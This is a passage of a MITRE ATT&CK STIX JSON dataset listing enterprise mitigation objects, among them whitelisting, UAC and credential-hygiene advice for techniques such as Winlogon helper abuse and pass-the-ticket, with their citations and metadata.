SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","type":"course-of-action","created":"2019-06-11T17:14:35.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1052","url":"https://attack.mitre.org/mitigations/M1052"}],"modified":"2020-03-31T13:49:49.636Z","name":"User Account Control","description":"Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1062","external_id":"T1062"}],"modified":"2019-07-24T19:37:57.004Z","name":"Hypervisor Mitigation","description":"Prevent adversary access to privileged accounts necessary to install a hypervisor.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--2d704e56-e689-4011-b989-bf4e025a8727","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1150","external_id":"T1150"}],"modified":"2019-07-25T11:25:29.091Z","name":"Plist Modification Mitigation","description":"Prevent plist files from being modified by users by making them read-only.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-31T17:27:28.395Z","name":"Operating System Configuration","description":"Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","type":"course-of-action","id":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","created":"2019-06-06T21:16:18.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1028","external_id":"M1028"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1077","url":"https://attack.mitre.org/mitigations/T1077","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.710Z","name":"Windows Admin Shares Mitigation","description":"Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1004","url":"https://attack.mitre.org/mitigations/T1004","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2020-01-17T16:45:24.244Z","name":"Winlogon Helper DLL Mitigation","description":"Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--337172b1-b003-4034-8a3f-1d89a71da628","type":"course-of-action","created":"2019-04-12T14:59:36.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1494","source_name":"mitre-attack","external_id":"T1494"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:21.495Z","name":"Runtime Data Manipulation Mitigation","description":"Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--33f76731-b840-446f-bee0-53687dad24d9","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1183","url":"https://attack.mitre.org/mitigations/T1183","source_name":"mitre-attack"},{"source_name":"Microsoft IFEOorMalware July 2015","description":"Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.","url":"https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2020-01-17T16:45:23.882Z","name":"Image File Execution Options Injection Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1186","external_id":"T1186"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-08-23T20:25:19.742Z","name":"Process Doppelgänging Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1107","url":"https://attack.mitre.org/mitigations/T1107","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.685Z","name":"File Deletion Mitigation","description":"Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--37a3f3f5-76e6-43fe-b935-f1f494c95725","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1211","external_id":"T1211"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"},{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2019-07-24T19:25:39.532Z","name":"Exploitation for Defense Evasion Mitigation","description":"Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1114","url":"https://attack.mitre.org/mitigations/T1114","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.380Z","name":"Email Collection Mitigation","description":"Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1089","external_id":"T1089"}],"modified":"2019-07-24T19:10:48.260Z","name":"Disabling Security Tools Mitigation","description":"Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--39706d54-0d06-4a25-816a-78cc43455100","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1025","url":"https://attack.mitre.org/mitigations/T1025","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.688Z","name":"Data from Removable Media Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--399d9038-b100-43ef-b28d-a5065106b935","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1095","external_id":"T1095"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T12:01:33.997Z","name":"Standard Non-Application Layer Protocol Mitigation","description":"Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1196","url":"https://attack.mitre.org/mitigations/T1196","source_name":"mitre-attack"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Microsoft UAC","description":"Microsoft. (n.d.). User Account Control. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx"}],"modified":"2020-01-17T16:45:23.678Z","name":"Control Panel Items Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1097","url":"https://attack.mitre.org/mitigations/T1097","source_name":"mitre-attack"},{"url":"https://adsecurity.org/?p=556","description":"Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.","source_name":"ADSecurity AD Kerberos Attacks"},{"url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","source_name":"CERT-EU Golden Ticket Protection"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:21.478Z","name":"Pass the Ticket Mitigation","description":"Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor 